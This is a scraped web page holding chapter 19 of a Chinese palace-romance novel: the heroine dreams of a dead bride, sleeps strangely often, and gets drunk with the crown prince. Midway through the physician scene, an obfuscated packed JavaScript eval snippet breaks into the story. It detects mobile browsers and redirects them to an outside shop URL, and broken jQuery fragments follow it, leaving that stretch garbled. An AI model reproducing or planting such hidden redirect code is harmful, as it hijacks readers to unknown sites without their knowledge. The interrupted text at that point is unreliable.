默认冷灰
24号文字
方正启体

19. 第 19 章

作者:Winmonath本书字数:K更新时间:
    叶小寻这一觉,竟一直睡到了金乌西坠。


    梦做得极长,她睡得沉,却不踏实,仿佛整个人被困在了一团迷雾之中,想醒也醒不过来。


    梦里,她看见了一身红衣似火的霍清婉。


    那个本该已逝的女子,正伫立在一顶八抬大轿旁,那轿子极尽奢华,四角垂着流苏,红绸漫天。


    霍清婉静静地站在那儿,冲她微微招手。


    叶小寻虽然心中困惑,却还是不由自主地跟了上去。


    “我知道那晚吓着你了,但那并非我本意。”霍清婉的声音温温柔柔的,透着一股子大家闺秀的从容。


    叶小寻不好意思地挠挠头:“不打紧,是我乱闯你的喜房来着,怪不得你。”


    她仔细打量着眼前的女子。


    霍清婉出身将门,比起哥哥霍清珏,她似乎更像父亲霍宣。


    眉宇间英气十足,五官端正大气。


    明明是美艳动人的皮相,可因着这一身刚毅的气质,竟如同一位即将出征的巾帼英雄。


    叶小寻心中暗想:若是她还活着,若是不嫁给容慎,她将来会不会也和她父亲一样,披甲执锐,为大晟朝戍守边疆?


    霍清婉仿佛能读懂她的想法,她柔柔地笑了,原本清冷的五官瞬间生动起来。


    “你想得没错。”霍清婉轻声道,“我自幼习武,父亲曾答应过,若我年过二十依然没有看得上的夫家,且还志在远方的话,便允我随行去塞北。”


    她调皮地眨了眨眼,那一瞬间的鲜活令人心折:“至于这京城的朝堂纷争,有我哥一人斡旋便足够了。”


    叶小寻见瞒不过她,索性把自己所想都问了出来:


    “可是……你还是嫁给容慎了啊。”


    “我们还未拜天地,我就死了。”霍清婉眼神平静,“所以,我也不算真的嫁给了他吧。”


    她转过头,看着叶小寻,目光中带着几分深意:“真正嫁给他的人,是你啊。”


    叶小寻摸了摸鼻子,有些心虚地小声嘀咕:“其实那天太乱了,我们也没拜堂呢。而且……他把成嬷嬷杀了……但那是因为……”


    霍清婉端坐在轿中,轻轻点头:“我知道。如此,他也算替我报了仇。父亲若知晓个中因果,会体谅他几分的。”


    “我以为你会怪他杀了霍家老奴,不给你父亲面子。”


    “霍家家训严格,我和哥哥亦被教养得性情刚烈。有冤报冤,有仇报仇。有恩,自然也要报恩。”霍清婉语气坚定,“这么多年我们对家中奴仆向来善待,成嬷嬷却以怨报德,背主求荣。若最先发现我尸体的是我父亲,他也同样会要成嬷嬷以命换命。”


    提及此,叶小寻垂下头,语气有些低落:“你父亲若知道了真相,该有多伤心啊。前些日子他听说你中毒了,可着急了。”


    霍清婉淡淡一笑,笑容中带着几分释然:“他也是你父亲了。你从此多了父亲,多了哥哥,不好吗?”


    叶小寻听得懵懵懂懂,正想再问,却感到花轿突然停了下来。


    四周的迷雾开始消散。


    “接下来的路,你不能同我一起走了。你下去吧。”霍清婉淡淡道。


    “为什么?我还想多和你说说话呢,我之前还想去给你上柱香……”


    “还不是时候。”霍清婉摇了摇头,“你还得替我活下去,替我去当这个太子妃。”


    她伸出手,轻轻拍了拍叶小寻的手背,语带歉意:“委屈你了。但放心,以容慎的能力,不会让你委屈太久的。”


    那触感凉凉的,叶小寻却丝毫不觉得害怕。


    叶小寻毫无征兆地醒了过来。


    心里空落落的,像是丢了什么重要的东西,那种怅然若失的感觉久久挥之不去。


    这几日她的作息全都被打乱了,总是坐着坐着就犯困,每次醒来都不知道今夕何夕,那刻漏完全成了摆设。


    朦朦胧胧间,她听到外间有人在压低声音说话。


    “怎么最近这么嗜睡?药都检查过了?”是容慎的声音,带着几分不易察觉的焦躁。


    “回殿下的话,老臣不放心旁人,每一贴药都是亲自煎的。您也知道,这里头大多是一些温补的方子。”太医正的声音有些惶恐,“娘娘本身气血两虚,底子有些薄,这些药除了补补气血,并无那种让人昏睡的副作用啊。”


    “会不会是两副药同煎的时候弄混了?”


    “殿下说笑了,那两副药味道大相径庭。娘娘喝的一直是加了甘草的那帖甜药,若是喝错了那副苦的,怕是早就嚷嚷起来了。”


    容慎轻笑一声,语气里带着几分无奈:“也是,孤也发现了,她确实不太能吃苦。”


    叶小寻闭着眼,眉头忍不住皱了起来。


    这人怎么趁她睡觉说她坏话呢?他什么时候见她不能吃苦了?她以前在江湖上也是摸爬滚打过来的好吗?


    正腹诽着,眉心突然一温。


    有人伸出手指,轻轻抚平了她眉间蹙起的褶皱。


    那指尖微凉,动作却极尽温柔。


    叶小寻觉得心里一暖,那股困意再次袭来,又昏昏沉沉地睡了过去。


    再醒来时,已是神清气爽。


    祝凝正坐在床边的脚踏上守夜,脑袋一点一点地打着盹。


    一听见叶小寻翻身的动静,立马惊醒过来。


    “娘娘,您醒了?可是口渴了?奴婢这就去沏茶。”


    叶小寻张了张嘴,确实觉得喉咙干涩得冒烟。她点点头,在祝凝回来之前,自己撑着身子坐了起来。


    “娘娘小心,有什么事儿唤奴婢来就好。”祝凝连忙放下茶盏,手脚麻利地给叶小寻身后塞了个软枕。


    “不碍事。”


    “娘娘,身上可还有哪儿不适?您是不知道,您这就跟中了邪似的,昏昏沉沉睡了两天两夜了,可给殿下急坏了。”


    叶小寻正就着祝凝的手喝水,闻言动作一顿,耳朵竖了起来:


    “急坏了?他急坏了是什么表情啊?”


    “娘娘!”看叶小寻没个正经样,祝凝急得直跺脚,“您看您,都什么时候了……对了,奴婢得赶紧去通知太医正来瞧瞧,殿下特意吩咐过的,您一醒就得传太医。”


    叶小寻还捧着茶盏没喝够呢,祝凝突然把茶杯一撤,一溜烟就跑没影了。


    “哎——倒是把茶杯留给我呀……”


    已是酷暑时节,没水可不行。


    叶小寻只好自己下床去寻,掀开茶壶盖子才发现,祝凝贴心地替她把茶水放在冰鉴里镇着呢。


    她也不讲究什么仪态了,捧起茶壶连灌了几大口,这才发出餍足的喟叹。


    待在寝殿里面闷久了也不好,叶小寻左思右想,决定去外头透透气。


    祝凝还没回,沿途的宫人们见她出来也不敢拦着,规规矩矩地行礼后便退到一旁,不敢打扰。


    难得清净。


    她溜达到御花园的凉亭里,没成想躺在藤椅上吹着小风,又打了一会儿盹。


    这一次睡得酣甜无比。


    梦里没有容慎,也没有霍清婉,她竟然睡在了一堆金银珠宝山上。


    那金锭子银元宝冰凉的质感成了最好的解暑利器,她开心地在财宝堆里打着滚,结果一个没留神,直接从藤椅上滚到了地上。


    “哎哟喂,我的老腰……”


    叶小寻揉着腰从地上爬起来,一抬头,就对上两双目瞪口呆的眼睛。


    祝凝领着太医正站在凉亭外,看着自家娘娘灰头土脸地从地上爬起来,发髻也歪了,裙摆上也沾了灰,简直没眼看。


    “娘娘……您,您……”祝凝脸都红了,迅速福身,“奴婢去取帷帽!”


    说完,忙不迭往殿里跑去。


    太医正也似惊魂未定,不放心地四周张望了一番。


    “对不住,对不住,困得很,一时没注意。”叶小寻尴尬地笑了笑,胡乱拍了拍裙上的灰,不自在地坐回藤椅上。


    她也心虚地四下望了望,好在当值的小宫女们都极有规矩地守在远处,被外人偷看到的概率不大。


    太医正犹豫再三,还是行了个礼,语重心长道:“娘娘,殿下和您在宫中如履薄冰,凡事还是谨慎为妙。”


    “刘大人教训得是,教训得是。”叶小寻虚心受教。


    她也知道自己这样不稳妥,但着实抵不住那股突如其来的困意。


    祝凝此时也气喘吁吁地回来了,将帷帽和面纱给叶小寻戴好,这才让太医正请脉。


    太医正凝神静气,仔细悬脉许久,眉头越锁越紧,最后却只道:


    “娘娘脉象平稳有力,的确不像有伤病的样子。这嗜睡之症……着实有些蹊跷。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132727|196239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叶小寻收回手,笑眯眯道:“我也觉得我没啥毛病,就是最近事情一件接一件,心里压力大了些哈……你看现在睡也睡饱了,应该没什么大碍了。”


    太医正沉吟片刻,方道:“既然如此,微臣便给娘娘调一下方子,开些解暑清心的药膳吧。”


    也许是白天睡多了,到了晚上,叶小寻着实睡不着了。


    她直接精神到了大半夜,啥也没干,光在凉亭里对着月亮吃葡萄了。


    “我从小到大,还没吃过这么好吃的东西。”


    叶小寻吃得津津有味。祝凝怕她吃快了噎着,时不时帮她拍拍背顺气。


    “这葡萄啊,我之前听宫人们说起,贵妃娘娘特别喜欢配上西域进贡的甘露酒一起食用,说是更有风味。要不咱们也尝尝?”


    祝凝皱起眉头:“娘娘怎么寻思着喝上酒了?若是殿下知道了……”


    身后突然传来一个清冷的声音:“无妨,去取甘露酒来。”


    “奴婢给殿下请安。”祝凝一听是容慎,头也没抬,跪得很熟练。


    叶小寻看得啧啧称奇。


    她连皮带肉将一颗葡萄整个扔进嘴里,嚼吧嚼吧吞下去,含糊不清地催促道:“你听你听,做主的都同意了!快去快去!”


    祝凝无奈,只得从命,走前还不忘极有眼色地挥退了四周当值的小宫女们。


    容慎撩起衣摆,在她对面坐下。


    “也不知你酒量深浅,可别醉了在东宫里撒泼。”


    叶小寻眨眨眼睛,一脸不服气:“怎么会?我可是千杯不醉!”


    然而,一个时辰还没过呢。


    “你的眼睛怎么这么圆啊……这样看着,也不像平时那么凶了。”


    叶小寻双颊酡红,眼神迷离,毫无形象地趴在石桌上,打了个带着酒气的嗝儿。


    容慎不语,只是一味低头饮酒,姿态优雅得仿佛入画。


    甘露酒虽入口纯甜,少有烈酒的辛辣,可后劲极大。


    叶小寻这种半吊子哪里扛得住,早就分不清东南西北了。


    “我真羡慕你啊,”叶小寻嘟嘟囔囔着,又伸手摘了三四颗葡萄塞进嘴里,“生在天家,含着金汤匙出生。有这么多好吃的,好喝的,想吃什么就有什么。”


    她醉眼朦胧地往容慎身上瞄,趁其不备,手指头不老实地往他胸前那金线绣制的蟠龙纹上一划:


    “穿得还这么贵……嗝。”


    容慎一把攥住她乱动的手,指尖微凉,制止了她的下一步动作。


    “不用羡慕我。”他的声音在夜色中显得格外寂寥。


    叶小寻歪歪脑袋,努力想要看清他的脸:“为什么啊?你不开心吗?”


    她凑近了些,鼻尖几乎要碰到他的鼻尖。


    “你好像……真的很不开心。认识你这么久,我都没怎么见你笑过。你为什么不开心啊?这么富贵,还有什么烦恼啊?”


    容慎垂着眸子看她,月光映在他眼底,却照不亮那深处的幽暗:


    “那你呢?你有什么烦恼?”


    叶小寻乐了,想也不想便道:“我的烦恼当然是——没钱啊!”


    容慎抬头,望向夜空。今晚月光亮堂得很,将满天星辉都衬得暗淡无光。


    “对了,太子爷,说起这个。”


    叶小寻又往嘴里塞了几颗葡萄,费了老大劲才吞下去,却还惦记着正事:


    “我现在可是在给你上刀山下火海呢,没有功劳也有苦劳,您说对吧?”


    她凑过去,脸上堆起谄媚的笑,像朵刚开的小花。


    容慎挑眉,等她继续说。


    “既然这样,我……我要点工钱,不过分吧?你别看我爹娘手脚不干净,他们也不是什么都偷的,他们管这叫……劫富济贫!而且啊,叶片儿还一心想让我找自己的亲生父母,她人真的挺好的。”


    叶小寻说着说着,声音低了下去。她抱着双膝缩成一团,下巴搁在膝盖上,已经醉得有点迷糊了,嘴里开始胡言乱语:


    “她还说,就是想让我一直记得寻亲,才给我起名叫小寻。可我……可我早就寻到了呀!他们就是我父母!你说,等有天叶片儿知道她的女婿居然是当朝太子,会不会……会不会吓得直接晕过去?呵呵呵……好好笑哦……”


    她傻笑着,眼角却有些湿润。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)